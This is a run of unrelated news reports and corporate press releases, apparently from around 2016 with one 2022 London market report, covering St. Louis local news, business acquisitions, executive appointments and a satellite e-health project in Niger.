For Peggy Kornfein, former book fair chairwoman and current volunteer, the best day of the Greater St. Louis Book Fair is the last, when more than 80 nonprofits will arrive with trucks and U-Hauls to take away any remaining books.

It ranges from small-town libraries with very limited budgets to the prison system in Missouri. ... The USO has come for books; schoolteachers will come and get books for their libraries, Kornfein says. And thats my favorite day at the fair, watching people take books who are just so happy and thrilled to have them for whatever organization needs them.

It is hard to imagine there being much left after the weekend-long event, but with more than 1 million items featured at the 67th annual fair, most buyers can count on leaving with a treasure of their own.

Indeed, Kornfein says the volume and variety of items allows for spectacular moments.

Seeing people find a treasure, or find a book that an adult read as a child that they can share with their children or grandchildren ... just watching people who love books. Thats what I enjoy the most, Kornfein says.

The fair collects donations year-round, mostly from private residences in the St. Louis area. Fortunately, the St. Louis public is generous with donations, as evidenced by the diversity of items in this years rare-book collection.

The 125 rare books include a host of collector-quality, signed first-edition horror books and a few books on British and American philately, including Prouds Postal Histories of British Colonies by Edward B. Proud.

Also of note is a signed, first-edition copy of Cider House Rules by John Irving and a signed 20th-anniversary edition of Interview With the Vampire by Anne Rice.

Most books range from $1 to $6; items in the rare-book case are priced $25 and up. All proceeds go to local literacy-related organizations.

The book fair will not, however, designate which organizations will receive grants until after the fairs conclusion.

Kornfein says that past proceeds have gone to, among other charities, Ready Readers, Parents as Teachers-Normandy and University Citys Childrens Center.

Theyre all programs that either provide tutoring for poor students or provide books for students, Kornfein says.
UPDATED at 3:45 p.m. with more detail.

FLORISSANT  Residents were evacuated from the St. Sophia Health & Rehabilitation Center because of a fire there Thursday afternoon, but the blaze was quickly put out and residents were back in their rooms within an hour.

The facility at 936 Charbonier Road near Elwood Court caught fire at about 2:30 p.m.

The fire apparently was contained to a dryer in a basement laundry room. That set of smoke detectors and about 100 residents were evacuated.

One worker suffered a minor injury while helping a resident get out, authorities said.

Firefighters cleared smoke from the building and residents were able to return to their rooms.
ST. CHARLES COUNTY  A jury on Thursday night found a former Wentzville day care provider guilty of involuntary manslaughter in the 2009 death of an 18-month-old boy under her care.

The verdict was announced after about six hours of deliberations. The jurors will reconvene Friday morning to consider a sentence.

Prosecutors alleged that Lisa West, now 42, caused the head injury suffered by the child, Mason Beach, just minutes after his mother left him at Wests home day care. West has said Mason fell down carpeted stairs.

It was a blow to the head that caused this trauma, Philip Groenweghe, an assistant county prosecutor, told jurors in closing arguments. The Beaches ask for only one thing. What they want is truth, what they want is accountability.

Wests attorney, Richard Sindel, said its inconceivable to people who know West as a caring, peaceful person that she could have harmed the child whom she had baby-sat for 15 months.

If Lisa was about to turn from who she is into the Incredible Hulk, not a single human being who came into the courtroom to support her during the trial would think it remotely possible, he said.

Sindel also said West called Masons mother to report the injury just a few minutes after the boy had been dropped off at Wests home. That wasnt enough time to blow up in anger, he said.

The cause of death was listed as blunt force trauma, but West wasnt charged with a crime at the time. In 2013, county prosecutors reopened the case and a grand jury in 2014 indicted West, who now lives in Plano, Ill., on a felony child abuse charge. That was changed last month to first-degree involuntary manslaughter.

Prosecutors on Thursday repeated that an autopsy carried out by the office of the county medical examiner, Dr. Mary Case, concluded that the boys head injuries  including retinal hemorrhaging  were caused by striking.

Sindel cited what he said were inconsistencies in testimony by Case and others called by prosecutors in the trial, which began last week.

Groenweghe said a pediatric physician and child abuse forensics expert at Cardinal Glennon Childrens Medical Center, Dr. Ann DiMaio, concluded initially that Masons injury was due to having been shaken.

However, he said that opinion was issued before the autopsy. He said what happened to the boys brain was the same, whether caused by shaking or punching, and a fall down the stairs doesnt come close.

In 2012, Masons family won a $707,000 civil suit against West after a jury decided West was negligent in caring for Mason. Rebecca Beach, Masons mother, said the family was unable to collect the money.

The involuntary manslaughter charge alleged that West recklessly caused the boys death by striking his head, striking his head against an object, shaking him or a combination thereof.

Circuit Judge Rick Zerr told jurors they also had the option of finding West guilty of the lesser crime of second-degree involuntary manslaughter if they determined her to be criminally negligent by failing to be aware of a substantial risk. They opted for the harsher one.

Reached after the verdict was announced, Rebecca Beach said the outcome was what Masons family had hoped for.

Were just, were glad that shes finally being held accountable for what she did, Beach said. Its definitely been a long time coming and way overdue.

Mason was one of the subjects of a 2011-12 Post-Dispatch investigation of unlicensed home day cares in Missouri.

Dozens of child deaths from 2007 to 2011 were in unlicensed home day cares where caregivers were not required to have training, insurance or adhere to safety standards.
ST. LOUIS  A St. Louis County doctor was sentenced to two years of probation Friday and fined $30,000 for selling misbranded human growth hormone to local clinic patients, prosecutors said.

Dr. Michael Ted Mimlitz, 50, also has to forfeit $59,500, representing some of the proceeds from the sale of the drug.

In January, Mimlitz pleaded guilty to one count of distributing misbranded drugs and admitted finding a Mexican supplier for the drug online and re-selling it between March 2014 and June 2015. But the drugs were misbranded, contained labels in Spanish, not English, and were not manufactured by a facility licensed or registered by the U.S. Food and Drug Administration, prosecutors said.

Mimlitz was a longtime OB/GYN before becoming involved with a west St. Louis County clinic that specialized in treating men who complained of a lack of energy or decreased strength and endurance. But under federal law, HGH cannot be prescribed to help patients with body-building, anti-aging, or weight loss treatments, prosecutors said.

Doctors hold a special level of trust for U.S. consumers; when they violate that trust and provide illegal drugs to their patients, they put their patients at risk, said Catherine A. Hermsen, Special Agent in Charge of the Kansas City office of the FDA's Office of Criminal Investigations in a prepared statement. Our office will continue to pursue and bring to justice doctors who are involved in the distribution of illegal drugs.
WASHINGTON  The director of the National Geospatial-Intelligence Agency has not made a final decision on the St. Louis site for a new $1.75 billion NGA complex, and he is taking into consideration Illinois politicians' complaints that the Corps of Engineers site report leading to the decision confused counties in the two states.

Sen. Dick Durbin, D-Ill., convened a meeting of members of the Illinois delegation here this week in which members planned how to challenge NGA Director Robert Cardillo's initial decision to locate the facility in north St. Louis. Sen. Mark Kirk, R-Ill., Rep. Mike Bost, R-Murphysboro, and Rep. John Shimkis, R-Collinsville, also attended.

After the meeting, the group issued a joint statement saying that its members still consider a site near Scott Air Force Base in St. Clair County as the best. NGA is soliciting public comments on its tentative site plan before a final decision from Director Robert Cardillo in early June. Politicians on both sides of the Mississippi River have offered either support, in the case of Missouri officials, or opposition, on the part of the Illinois delegation.

Kirk said he would take full advantage of the comment period by highlighting the glaring errors and falsehoods within the report. Bost said the fight is not over and Shimkus said he would continue to try to convince NGA that the Scott site was superior.

One error in the Corps site report confused St. Clair County in Illinois with St Clair County in Missouri. A Corps officials said it was essentially a clerical error.

We are aware of the concerns from the Illinois delegation, said Donald Kerr, chief of media for NGA. All public comments and input will be part of the official Record of Decision, which is expected in early June. The director has not made his final decision and will evaluate all material including comments that are submitted during the current comment period through the end of April.

Earlier this week, Sens. Roy Blunt, R-Mo., and Claire McCaskill, D-Mo., filed comments supporting the St. Louis site. Blunt and McCaskills joint statement said the proposed St. Louis location had numerous advantages over possible alternative sites, including aiding recruiting and providing access to graduate school opportunities and high-tech neighbors that it wouldnt have at the Illinois site near Scott Air Force base.

The facility, integral to the nations intelligence services and defense, employs more than 3,000.

The Corps spent more than a year studying proposed sites, and concluded that a site in Fenton where an old Chrysler plant once stood contained the most environmental benefits from the project. But Cardillo selected the St. Louis site, which had been pushed by the two Missouri senators, and Rep. William Lacy Clay, D-St. Louis, along with Mayor Francis Slay and other Missouri politicians.
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LONDON MARKET CLOSE: FTSE 100 ends higher; Mordaunt makes UK PM tilt

Friday, October 21, 2022 - 17:22

The pound regained some poise on Friday afternoon but remained in precarious territory, after falling below the $1.11 mark in afternoon trade.

The pound was quoted at $1.1203 at the close on Friday, down versus $1.1294 at the London equities close on Thursday. It hit an intraday low of $1.1063 not long after midday.

Sterling was hurt by continued political uncertainty. Speculation about who will join Penny Mordaunt in throwing their hats in the ring in the race for Number 10 continues. Boris Johnson and Rishi Sunak, one-time neighbours at Number 10 and 11 Downing Street - but now bitter rivals - have pockets of support from Tory MPs.

Adding to the pressure on sterling, disappointing UK retail sales data showed a bigger-than-expected decline in September, according to figures from the Office for National Statistics.

Retail sales fell 6.9% annually in September, with the decline accelerating from a 5.6% fall in August. It also was worse than FXStreet-cited market consensus, which had expected a fall of just 5%.

The pound had initially found some support on Thursday after Liz Truss called an end to her disastrous tenure as prime minister - poking above $1.13 - but has since been dragged lower.

The FTSE 100 index closed up 25.82 points, or 0.4%, at 6,969.73 - closing out the week up 1.6%.

The FTSE 250 lost 182.38 points, or 1.1%, at 17,206.55, but still managed to gain 1.0% this week, and the AIM All-Share ended down 1.04 points, or 0.1% at 785.40 - but advanced 0.8% over the past five days.

The Cboe UK 100 closed up 0.4% at 696.31, the Cboe UK 250 ended down 1.0% at 14,694.15, and the Cboe Small Companies lost 0.3% at 12,240.46.

In European equities on Friday, the CAC 40 in Paris lost 0.9%, while the DAX 40 in Frankfurt gave back 0.3%.

The Tories have begun to declare their allegiances in the party's second leadership contest of the year as speculation mounts over who will seek to replace Truss at the helm of the party.

Supporters of Johnson are backing the former prime minister to make an extraordinary political comeback, while ex-chancellor Sunak and Commons Leader Mordaunt also have the public support of several MPs.

Mordaunt become the first to declare her candidacy, with a pledge to re-unite the bitterly divided party.

The leader of the House  who finished third in the last leadership election  said she had been encouraged by the support she had received from fellow Conservative MPs.

There has also been no declaration yet from Sunak, who did not answer questions from reporters as he left his home on Friday morning.

Whoever does win will face an immediate test, choosing whether to go ahead with the planned Halloween statement setting out how the government intends to get the public finances back on track, Downing Street has said.

Work is continuing in Whitehall, led by Chancellor Jeremy Hunt, in preparation for the medium-term fiscal plan to be announced on October 31 along with an updated set of economic forecasts from the Office for Budget Responsibility.

However, a Number 10 spokeswoman said it would be up to Liz Truss's successor to decide whether to proceed with that approach and with the same timetable.

In London, blue chip miners helped push FTSE 100 higher. Glencore gained 3.6%, Anglo American 3.1%, Antofagasta 2.7%, and Rio Tinto added 1.6%.

Retailers, however, were showing weakness after the disappointing UK retail sales data. A profit warning from Adidas did nothing to help the mood either.

JD Sports closed down 6.1%, Frasers 4.0%, Burberry 2.2%, and Next shed 2.9%.

On Thursday, Adidas lowered annual guidance as it struggles with "deteriorating traffic" in China and high inventory levels.

The sports apparel maker said it has needed to turn to "higher clearance activity" to try and shift stock.

It lost 9.0% in Frankfurt.

Deliveroo gained 3.6%.

The London-based online food delivery service said gross transaction values rose 8.3% annually in the third quarter to 1.70 billion from 1.57 billion, though orders fell by 1.1% to 72.8 million from 73.6 million.

Deliveroo said the decline in orders was due to a difficult consumer environment. With economic data on Friday showing that UK consumer confidence remains near record lows, this seems unlikely to change anytime soon.

InterContinental Hotels gave back 2.2% but reported strong revenue growth in the third quarter to September 30, saying that high global employment levels are boosting occupancy levels.

Revenue per available room, or RevPAR, rose 28% year-on-year and now exceeds its pre-pandemic level, being up 2.7% on the third quarter of 2019.

In the third quarter of 2022, the average daily rate increased by 13% compared to a year ago and was up 11% on 2019.

Chief Financial Officer & Head of Strategy Paul Edgecliffe-Johnson will leave the company in six months time to become CFO of Flutter Entertainment in the first half of 2023.

IHG has started the process of finding a new CFO.

The euro stood at $0.9802 Friday evening, down against $0.9822 at the close on Thursday.

Against the yen, the dollar was trading at JP148.03, compared to JP149.77 late Thursday. The yen was staging a fightback after the open on Wall Street, after nearly hitting JP152 during the Asia session.

Stocks in New York opened higher on Friday, with the DJIA up 1.1%, the S&P 500 index up 0.9%, and the Nasdaq Composite was 0.6% higher.

Brent oil was quoted at $92.84 a barrel late Friday, down from $93.29 late Thursday. Gold was quoted at $1,643.70 an ounce Friday, up against $1,641.90 from Thursday.

In the international economics events calendar next week, Monday will be dominated by a slew of composite PMIs, with Japan overnight followed by Germany, eurozone and the UK in the morning then the US in the afternoon. A quiet Tuesday will be headlined by a US house price index.

On Wednesday, there is Chinese GDP, retail sales and industrial production overnight, then on Thursday attention will be on the European Central Bank interest rate decision at 1315 BST. Friday will be headlined by a Bank of Japan rate decision.

In the local corporate calendar on Monday, there are half-year results from Dr Martens, while education publishing firm Pearson will issue a third quarter update.

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Yesterday, Drew Estate and Swisher International announced an agreement had been finalized for Swisher to purchase Drew Estate. The announcement comes after over a month of intense rumors of the deal, including denials of a finalized deal by Jonathan Drew.

Swisher is the largest cigar company in the world by volume and has a massive distribution network beyond traditional cigar shops. Drew Estate runs the largest cigar factory in Nicaraguaproducing around 10,000 cigars a dayand owns heralded premium cigar lines including Liga Privada, Undercrown, My Uzi Weighs a Ton, Nica Rustica and Herrera Esteli, along with premium infused cigar lines including the best-selling Acid.

The deal, which will be completed before the end of the year, includes the Nicaraguan facilities and Drew Estates cigar lines. Monetary terms of the deal were not disclosed. Since both companies are privately held, details (including Drew Estates valuation) may never be known.

According to various reports, senior management from Drew Estateco-founders Jonathan Drew and Marvin Samel, President Michael Cellucci, and master blender Willy Herrerawill all stay on, at least in the near term.

Jonathan Drew issued the following statement: We began under the Manhattan Bridge Overpass in Brooklyn with a laser focus on The Rebirth of Cigars. Friends, retailers, and consumers connected with our passion and authenticity, supporting us at each stage of our growth. We are eternally grateful to all of those who have helped build Drew Estate, and look forward to advancing the Drew Estate legacy with a great partner. Other executives praised the agreement in a press release published on Drew Estates website.

Analysis

When a business is bought by larger company its natural for fans to be worried. Still, there are plenty of reasons for Drew Estate fans to think, despite the uncertainty of the shakeup, this may be a good thing for Drew Estate and the cigars its fans enjoy.

Drew Estate hasnt hidden the fact that it had taken on significant debt to expand to its current size, including from other cigar companies. At least one such loan was tied to $5 million seized by the ATF as part of a settlement over back taxes reportedly owed by House of Oxford, a cigar distributor run by Alex Goldman, who was put in charge of Swishers premium cigar division. (Nothing illegitimate was alleged to have been done by Drew Estate and the case has now settled.) Goldman was also instrumental in having Drew Estate make Nirvana for Swishers Royal Gold premium cigar venture, a line that will presumably be merged into Drew Estates operations.

The agreement for Swisher to buy Drew Estate will presumably end any outstanding debts and allow Drew Estate to continue expansion with Swishers significant resources. Drew Estate can now refocus on making its cigars and innovating, something it has done remarkably well over the past few years.

Its also worth noting that while FDA regulations are a looming threat to the entire handmade cigar industry, they are especially a threat to Drew Estate, whose infused/flavored lines will likely be hit hardest by FDA regulations. Swisher certainly knows this, which means it is likely to invest the funds necessary to promote Drew Estates brands no matter the impact of FDA regulations.

Finally, you cant talk Drew Estate without Jonathan Drew. Anyone who has spent time with Jonathan knows he has a deep passion for cigars and his customers. While sometimes he may seem to be burdened by the business of cigars, there is no doubt he brings a unique energy and the spirit of innovation.

Drew and his partners built Drew Estate from a cigar kiosk in the World Trade Center to one of the largest cigar companies in the world, which is a remarkable feat. And Jonathan feels this deal is good for Drew Estate, which is his legacy.

Unless evidence presents itself to show otherwise, this deal is good not only for Drew Estates owners, but also for its customers.

Patrick S



photo credit: Drew Estate
W. R. Grace & Co. (NYSE: GRA) announced that it has signed an agreement to acquire the assets of BASFs Polyolefin Catalysts business. The transaction is expected to close in the third quarter of this year pending regulatory approvals, required consultations with employee representatives, and other customary closing conditions. Terms were not disclosed.

Grace is a leading supplier of polyolefin catalysts technology, as well as polypropylene (PP) process technology. Grace has the broadest portfolio of polyolefin catalyst technologies of any independent catalysts producer.

BASFs Polyolefin Catalysts business includes its LYNX high-activity PE catalyst technologies that are utilized commercially in slurry processes for the production of high-density PE resins such as bimodal film and pipe. LYNX PP catalyst technologies are used commercially in all major PP process technologies including slurry, bulk loop, stirred gas, fluid gas, and stirred bulk.

The acquisition includes technologies, patents, trademarks, and production plants in Pasadena, Texas and Tarragona, Spain, as well as approximately 170 employees globally.

In addition to its proprietary PP and PE catalysts products and technology, the BASF assets provide Grace with significant additional flexibility and capacity for its global polyolefin manufacturing network.

This is an important addition to Graces strong portfolio of polyolefin catalysts technologies, said Grace Chairman and Chief Executive Officer Fred Festa. Grace is uniquely positioned to serve the growing needs of the polyolefins market and benefit from operational synergies. This opportunity is perfectly aligned with our focus on core catalysts and materials technologies.

Grace will address the acquisition during the companys First Quarter 2016 earnings conference call scheduled for Wednesday, April 27, at 9:00 a.m. ET. Access to the live webcast and the accompanying slides will be available through the Investors section of the companys website, www.grace.com.
RICHMOND, Va., April 22, 2016 /PRNewswire/ -- Project Plant It!, the environmental education program created by Dominion Resources, Inc., will celebrate a significant milestone this spring: 10 years of helping children learn about the important role of trees in the ecosystem. A hallmark of the program is the distribution of free redbud tree seedlings to all participating children, providing a memorable and meaningful way to celebrate Arbor Day (April 29).

"Just as trees begin life as tiny seedlings, Project Plant It! has grown significantly from a pilot program in the Richmond region into a multi-state initiative that has become an annual tradition for educators, families and children throughout our service areas," said Hunter A. Applewhite, president of the Dominion Foundation. "Project Plant It! is one of the many ways that Dominion seeks to support those who teach children and to partner with the communities we serve."

In a new twist for the 10th anniversary, enrollment was extended into several new regions and opened to children of all grade levels instead of just third graders, as in prior years. Also, participation was opened to any entity that educates or works with youth, such as Girl Scout and Boy Scout troops, home schools, preschools, church groups and civic associations.

Thanks to these expansions, Dominion provided free educational resources and 50,000 tree seedlings to children of all ages in 2016many of whom had never participated in this program until now. Seedlings went to children in nine states served by Dominion, including Connecticut, Maryland, North Carolina, Ohio, Pennsylvania, Rhode Island, South Carolina, Virginia and West Virginia.

Since the program was created in 2007, more than 350,000 tree seedlings have been distributed to students. According to the Virginia Department of Forestry, this equates to about 875 acres of new forest if all of the seedlings are planted and grow to maturity. In addition, Project Plant It! provides free educational materials, interactive games and videos about trees, along with a variety of outdoor, hands-on activities, on its website at www.projectplantit.com.

Over the past decade, many organizations and agencies have served as longtime collaborative partners with Dominion and Project Plant It!, including the national Arbor Day Foundation, the Virginia Department of Forestry, Richmond Public Schools and many school systems throughout Dominion's service area.

"Through Project Plant It!, Dominion has ensured a lasting legacy for future generations," said Bettie Guthrie, education chair for the Willcox Watershed Conservancy in Petersburg, Va. "For eight years, third-grade students in Petersburg have celebrated Arbor Day at Lee Memorial Park, where they plant trees to honor our military troops. We are grateful for the opportunity to share in this important educational partnership."

In addition to the Arbor Day event in Lee Memorial Park, tree celebrations are planned at Goochland Elementary School in Goochland, Va., at Ginter Park Elementary School in the City of Richmond, Va., and at Great Bridge Intermediate in Chesapeake, Va., among others.

For more information about Project Plant It!, visit www.projectplantit.com or "Like" Project Plant It! on Facebook.

About Dominion ResourcesDominion Resources is the parent company of Dominion (NYSE: D), one of the nation's largest producers and transporters of energy, with a portfolio of approximately 24,300 megawatts of generation, 12,200 miles of natural gas transmission, gathering and storage pipeline, and 6,500 miles of electric transmission lines. Dominion operates one of the nation's largest natural gas storage systems with 933 billion cubic feet of storage capacity and serves utility and retail energy customers in 14 states. For more information about Dominion, visit the company's website at www.dom.com.

To view the original version on PR Newswire, visit:http://www.prnewswire.com/news-releases/dominions-project-plant-it-branches-out-for-10th-anniversary-300256108.html

SOURCE Dominion Resources
SANTA MONICA, Calif., April 21, 2016 /PRNewswire/ -- Veggie Grill, the leading fast-casual restaurant concept known for celebrating the vegetable in innovative ways, today announced that Greg Dollarhyde, its current Chief Energizing Officer, will be retiring from that job and Steve Heeley, the company's Chief Operating Officer will be promoted to President and CEO effective May 2. Dollarhyde will remain on the company's board of directors, and Heeley will be added to the board.

Commenting on the leadership evolution, Dollarhyde said, "My work as CEO is substantially complete. It's been a great pleasure to lead the Veggie Grill team over the last five years, as we introduced sales-building and craveable food innovations that are continuing to drive positive comp sales and improving cash flow. We have also built a new brand platform, a new look and design feel, a robust real estate development model, and a strong operating team."

"With this accomplished, I'm excited to hand the wheelhouse over to our COO, Steve Heeley. I have known and worked with Steve since 1999 and he is a consummate leader and a knowledgeable veteran of our industry," Dollarhyde added.

Accepting the promotion, Heeley said "I am thrilled about the opportunity to lead Veggie Grill as we continue to grow our groundbreaking brand and bring our creative, innovative veggie-centric food to fans in new markets."

Prior to Veggie Grill, Heeley was President and CEO of Earl of Sandwich, LLC, a high-volume fast casual sandwich brand, and before that COO of Au Bon Pain cafe bakery, both headquartered on the East Coast.

About Veggie Grill

Veggie Grill, headquartered in Santa Monica, California, is a premium fast-casual restaurant chain that celebrates the veggie by offering a variety of hot sandwiches and burgers, entree salads, bowls, shareable sides, organic teas and house made desserts prepared with wholesome vegetables, fruits, grains and nuts. Craft beer and wine are available in most locations as well as kids' meals. Veggie Grill currently has 29 locations along the West Coast with additional locations opening soon. More information and the full menu are available at www.veggiegrill.com.

Heeley's bio is located at www.veggiegrill.com/leadership/.

Media Contact:

Leah Smith [email protected] 310-745-5228 x1001

To view the original version on PR Newswire, visit:http://www.prnewswire.com/news-releases/greg-dollarhyde-passes-ceo-baton-to-steve-heeley-300255887.html

SOURCE Veggie Grill
TORONTO, April 22, 2016 /PRNewswire/ - iSIGN Media Solutions Inc. ("iSIGN" or "Company") (TSX-V: ISD) (OTC: ISDSF), a leading provider of interactive mobile proximity advertising solutions today advises of an extension to the closing date of the brokered private placement("Placement") financing agreement with Mackie Research Capital Corporation ("Mackie") for $3.5 million.

Closing of this Placement has been extended to on or about the week of May 26, 2016 from the previously announced date of on or about the week of April 25, 2016.

The extension of the closing date reflects a delay in the signing of legal and other documents related to the acquisition of new technologies that is to be completed once the Placement is closed. It is also designed to provide Mackie with additional time to close the Placement.

This Placement will take the form of a consist of the sale of units ("Units"), each unit consisting of: (a) one 10% secured subordinated Debenture with a principal amount of $1,000; and (b) 1,333 warrants. Each warrant entitles the holder to acquire one common share at an exercise price of $0.30 for a period of 36 months following the closing of this Placement.

Each debenture will be convertible into common shares at the option of the holder at a price of $0.20 per share.

Mackie will be granted an option ("Agent's Options") exercisable at any time up to and including the closing of this Placement to increase the size of the Placement by up to 15% in Units by providing iSIGN with written notice within 48 hours prior to the closing.

Use of funds will be to complete and acquire new technologies and drive sales.

About iSIGN MediaiSIGN Media, based in Toronto, is a data-focused, software-as-a-service (SaaS) company that is a pioneering leader in gathering point-of-sale data and mobile shopper preferences to generate actionable data and reveal valuable consumer insights. Creators of the Smart Suite of products, a patented interactive proximity marketing technology, iSIGN enables brands to deliver targeted messaging, personalized offers and loyalty perks to consumers' mobile devices in proximity and with real-time proof of redemption. iSIGN's data gathering capabilities provide analytics on price points, typical purchases, in-store dwell time and other shopper metrics that identify emerging consumer behaviors. These insights enable smarter business decisions and provide increased ROI metrics for more transparent marketing. iSIGN delivers relevant, timely messages on an opt-in basis at no charge to consumers, transmitting rich media to consumer mobile devices via Bluetooth and WiFi connectivity in complete privacy as opposed to iBeacons, apps, downloads and the required surrendering of personal information. Proven to increase brand engagement and customer loyalty, iSIGN generates preference-based, predictive "clean data" without compromising consumer privacy. Partners include: IBM, Keyser Retail Solutions, Baylor University, Verizon Wireless, TELUS and AOpen America Inc. www.isignmedia.com

 2016 iSIGN Media Solutions Inc. All Rights Reserved. All other trademarks and trade names are the property of their respective owners.

Forward-Looking StatementsThis press release contains forward-looking statements. More particularly, this press release contains statements which include the timing of closing the offering, the anticipated use of proceeds and the receipt of the required approvals. The forward-looking statements are based on certain expectations and assumptions made by the Company. Although the Company believes that those expectations and assumptions are reasonable, undue reliance should not be placed on the forward-looking statements because the Company can give no assurance that they will prove to be correct. Since forward-looking statements address future events and conditions, by their very nature they involve inherent risks and uncertainties. Actual results could differ materially from those anticipated due to a number of factors and risks. In addition to other risks, the closing of the offering could be delayed if the Company is not able to obtain necessary approvals when planned and the offering will not be completed at all if approvals are not obtained or some other condition to the closing is not satisfied. Accordingly, there is a risk that the offering will not be completed within the anticipated time or at all. The intended use of the net proceeds of the offering by the Company might change if the Company determines that it would be in the best interests of the Company to use the proceeds for some other purpose. The forward-looking statements contained in this press release are made as of the date hereof. The Company disclaims any intention or obligation to update or revise any forward-looking statements whether as a result of new information, future events or otherwise, except as required under applicable securities laws.

Neither the TSX Venture Exchange nor Its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange)accepts responsibility for the adequacy or accuracy of this release.

SOURCE iSIGN Media Corp
BELLEVUE, Wash.--(BUSINESS WIRE)-- Puget Sound Bank, the bank subsidiary of Puget Sound Bancorp (OTCQB: PUGB), announced the promotion of Dean T. Peterson to vice president, relationship manager.

This promotion reflects Deans significant contributions to the lending teams success, said Steve Vincent, Puget Sound Bank senior vice president and team leader. His deep knowledge of his customer base, methodical credit skills and strong work ethic have positioned Dean as a valued resource both internally and externally.

Mr. Peterson joined Puget Sound Bank in 2013 as a senior credit analyst and in 2015 was promoted to assistant vice president, relationship manager. He grew up in Seattle and is a graduate of Western Washington University (Bellingham, Wash.).

Puget Sound Bank has been named a best workplace, fastest growing company and top corporate philanthropist by the Puget Sound Business Journal and is consistently rated one of the countrys strongest banks by independent analysts.

Common stock for Puget Sound Bancorp trades on the OTCQB electronic marketplace under the symbol PUGB.

About Puget Sound Bank

Puget Sound Bank, the primary subsidiary of Puget Sound Bancorp, is one of Washington states top commercial banks (as measured by commercial and industrial loans as a percentage of total loans). Based in Bellevue, Washington, the bank was founded to meet the specialized needs of small- and medium-sized businesses, nonprofits, select commercial real estate projects, professional service providers and high net worth individuals. Puget Sound Bank offers a full range of competitive financial products including an advanced suite of cash management services. Customers can access their accounts in-branch, online, on mobile devices or through Puget Sound Bank's ATM network throughout the continental United States. For more information visit www.PugetSoundBank.com or call (425) 455-2400.

To access investor information for Puget Sound Bancorp, visit www.PugetSoundBancorp.com or call (425) 467-2037.

View source version on businesswire.com: http://www.businesswire.com/news/home/20160422005838/en/

Puget Sound Bank

Brad Ogura, 425-467-2037

Source: Puget Sound Bank
SES partners with CURE International to provide enhanced health services at childrens hospital

NIAMEY, Niger--(BUSINESS WIRE)-- SES S.A. (NYSE Paris: SESG) (LuxX: SESG), one of the worlds leading satellite operators, announced today the deployment of SATMED, a satellite-based e-health platform, at the CURE Hospital for Children in Niger, to enhance healthcare in rural and remote regions in Niger.

This Smart News Release features multimedia. View the full release here: http://www.businesswire.com/news/home/20160422005373/en/

SES Deploys SATMED E-Health Platform to Improve Quality of Healthcare in Niger (Photo: Business Wire)

The SATMED e-health platform was conceived by SES Techcom Services, a wholly owned subsidiary of SES, and is funded by the Luxembourg Government and the Ministry for Cooperation and Humanitarian Action. The satellite-based communication solution aims to improve public health in developing countries by enabling multiple medical applications and tools to operate collectively on a single platform.

SATMED will enable CURE Niger to establish communications with national and international doctors to receive medical counselling. Patients can be remotely diagnosed by experts thousands of miles away, doctors and nurses can improve their knowledge through online courses or life sessions, and lives can be saved through easy access to necessary information available anywhere via the internet.

The CURE Hospital for Children in Niger specialises in the surgical treatment of children with disabilities. These children suffer from a variety of different orthopaedic and congenital conditions, such as clubfoot, cleft lip and burn contractures. Since the hospital opened in October 2010, well over 3,000 life-changing surgeries and over 10,000 patient consultations have been performed, both at the hospital and in mobile clinics throughout the country.

"CURE International is very proud to partner with SES and with the government of Luxembourg on this important initiative, which will help bring access to healthcare closer to those who live in remote areas of Niger. Our participation in the SATMED programme will help us better serve our patients, as we seek to offer them healing and hope for a better future," said Josh Korn, Executive Director at CURE Niger.

We are very pleased with the way SATMED is overcoming the barriers often faced in deployment of health services across Africa, where terrestrial infrastructures may be lacking or even non-existent. By combining state-of-the-art satellite connectivity and cloud computing, patients at CURE Niger are now able to be remotely diagnosed by medical experts thousands of miles away. Thanks to satellite technology, we are now in a position to assist in improving both the speed and quality of healthcare services in rural and remote regions, contributing to change on a much wider scale, said Ibrahima Guimba-Saidou, Senior Vice President of SES Commercial in Africa.

For more information on SATMED please visit: http://www.ses.com/20513923/SATMED-ehealth-platform

Follow us on:

Twitter: https://twitter.com/SES_Satellites

Facebook: https://www.facebook.com/SES.YourSatelliteCompany

YouTube: http://www.youtube.com/SESVideoChannel

Blog: http://www.ses.com/blog

SES Pictures are available under http://www.ses.com/21472913/Our_Pictures

SES White papers are available under http://www.ses.com/18681915/white-papers

About SES

SES (NYSE Paris: SESG) (LuxX: SESG) is a world-leading satellite operator with a fleet of more than 50 geostationary satellites. The company provides satellite communications services to broadcasters, content and internet service providers, mobile and fixed network operators and business and governmental organisations worldwide.

SES stands for long-lasting business relationships, high-quality service and excellence in the satellite industry. The culturally diverse regional teams of SES are located around the globe and work closely with customers to meet their specific satellite bandwidth and service requirements.

SES holds a participation in O3b Networks, a next generation satellite network combining the reach of satellite with the speed of fibre.

Further information available at: www.ses.com

About CURE Niger

CURE Niger is the only hospital in Niger offering specialty surgical care for physically disabled children with a variety of conditions. As such, the hospitals impact is extensive. CURE Niger serves children locally, throughout every region of the country, and from neighbouring countries.

Since opening its doors in 2010, CURE Niger has been dedicated to treating disabling conditions such as clubfoot, burn contractures, cleft lips and palates, and other deformities. The hospitals reputation as a centre of excellence is evidenced by the increasing number of patients arriving for treatment every year.

Further information available at: https://cure.org/niger/

View source version on businesswire.com: http://www.businesswire.com/news/home/20160422005373/en/

SES

Markus Payer

Corporate Communications

Tel. +352 710 725 500

[email protected]

Source: SES
Project includes worlds first commercial High Severity FCC Unit

PARIS--(BUSINESS WIRE)-- Regulatory News:

Technip (Paris: TEC) (ISIN:FR0000131708) (ADR: TKPPY) was awarded a contract by Daelim Industrial Company(1) to provide proprietary equipment for the worlds first commercial High Severity Fluid Catalytic Cracking (HS-FCC) unit. The HS-FCC cracks heavy hydrocarbons into lighter olefins such as propylene and lighter fuels such as gasoline. It will be constructed as part of the expansion of the existing residue conversion facilities at the S-Oil(2) refinery in Onsan, South Korea.

The proprietary equipment provided by Technip includes an innovative downflow reactor, the key component of the HS-FCC technology.

Stan Knez, President, Technip Stone & Webster Process Technology, commented: We continually develop our proprietary equipment designs to ensure clients receive maximum value from their investment. This is particularly important when new advanced technology such as the HS-FCC(3) is employed.

This award results from Technips strong expertise in technology and equipment, which is part of its strategic focus to provide an integrated offering, as a broad-based oilfield services and equipment company.

